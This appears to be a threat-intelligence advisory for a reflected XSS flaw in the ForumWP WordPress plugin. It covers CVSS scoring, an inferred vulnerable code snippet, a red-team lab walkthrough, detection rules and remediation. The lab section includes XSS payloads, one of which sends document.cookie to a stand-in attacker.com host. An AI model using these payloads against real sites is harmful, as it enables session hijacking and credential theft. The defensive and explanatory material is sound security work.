CVE-2024-11204
Executive Summary
CVE-2024-11204 is a reflected Cross-Site Scripting (XSS) vulnerability in the ForumWP – Forum & Discussion Board plugin for WordPress, affecting all versions up to and including 2.1.2. The flaw resides in the insufficient sanitization of the url parameter, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to potential session hijacking, credential theft, or defacement within the WordPress ecosystem.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the ForumWP plugin and does not affect the core WordPress application or server software like Apache/Nginx. The attack surface is limited to sites running the vulnerable plugin, with no known active exploitation in the wild (EPSS 0.0%).
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the plugin's popularity in WordPress forums increase the potential for targeted attacks.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the url parameter of the ForumWP plugin. The plugin fails to properly sanitize and escape user-supplied input before reflecting it in the response. An attacker can craft a malicious URL containing JavaScript payloads, such as:
https://target-site.com/forumwp-page/?url=<script>alert('XSS')</script>
When a victim clicks this link, the script executes in the context of the victim's browser, allowing the attacker to:
- Steal session cookies (e.g.,
document.cookie) - Perform actions on behalf of the victim (e.g., posting as admin)
- Redirect to phishing pages
The root cause is the lack of output escaping in the plugin's template files, likely in the url parameter handling within the plugin's shortcode or page rendering logic.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is inferred. The plugin likely uses something like:
// Vulnerable code (forumwp <= 2.1.2)
echo '<a href="' . $_GET['url'] . '">Click here</a>';
A patched version would use proper escaping:
// Patched code (hypothetical)
echo '<a href="' . esc_url($_GET['url']) . '">Click here</a>';
The esc_url() function in WordPress strips dangerous characters and validates the URL scheme, preventing XSS.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Install WordPress with ForumWP plugin version 2.1.2 on a local server (e.g., XAMPP or Docker).
- Craft Payload: Create a malicious URL:
Or use a more sophisticated payload:http://localhost/wordpress/?page_id=123&url=javascript:alert(document.cookie)http://localhost/wordpress/?page_id=123&url=%22%3E%3Cscript%3Efetch('https://attacker.com/steal?cookie='%2Bdocument.cookie)%3C/script%3E - Deliver: Send the link via email, social media, or forum post.
- Execute: When the victim clicks, the script executes, exfiltrating data.
Blue Team (Defense & Detection)
- Monitor Logs: Check web server access logs for suspicious
urlparameters containing<script>orjavascript:. - WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests with XSS patterns in the
urlparameter. - User Training: Educate users to avoid clicking suspicious links, especially those with unusual URL parameters.
Indicators of Compromise (IOCs)
- Network IOCs:
- Requests to
*/?page_id=*&url=*with encoded JavaScript in theurlparameter. - Outbound connections to attacker-controlled domains from the victim's browser.
- Requests to
- File IOCs:
- Modified WordPress database entries in
wp_postmetacontaining XSS payloads.
- Modified WordPress database entries in
- Behavioral IOCs:
- Unexpected admin actions (e.g., new admin user creation) originating from a single IP.
Detection Engineering
YARA Rule
rule CVE_2024_11204_ForumWP_XSS {
meta:
description = "Detects reflected XSS attempts against ForumWP plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-11204"
strings:
$xss_payload = /[?&]url=.*(<script|javascript:|onerror=|onload=)/i
condition:
$xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against ForumWP Plugin
id: 8a3f2c1e-5d7b-4a9c-8e1f-2b3c4d5e6f7a
status: experimental
description: Detects reflected XSS attempts via the 'url' parameter in ForumWP plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains: 'url='
cs-uri-query|re: '(<script|javascript:|onerror=|onload=)'
condition: selection
falsepositives:
- Legitimate use of URL parameters with similar patterns (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-11204 ForumWP Reflected XSS Attempt"; flow:to_server,established; content:"url="; http_uri; pcre:"/(<script|javascript:|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: If possible, deactivate and delete the ForumWP plugin until a patch is released.
- Web Application Firewall (WAF): Implement WAF rules to block XSS payloads in the
urlparameter. - Input Validation: Use WordPress's
esc_url()andsanitize_text_field()functions in custom code.
Long-Term Fix:
- Monitor the plugin's official repository for a patched version (>= 2.1.3).
- Consider migrating to an alternative forum plugin with active security maintenance.
User Awareness:
- Train users to recognize phishing links and avoid clicking suspicious URLs.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.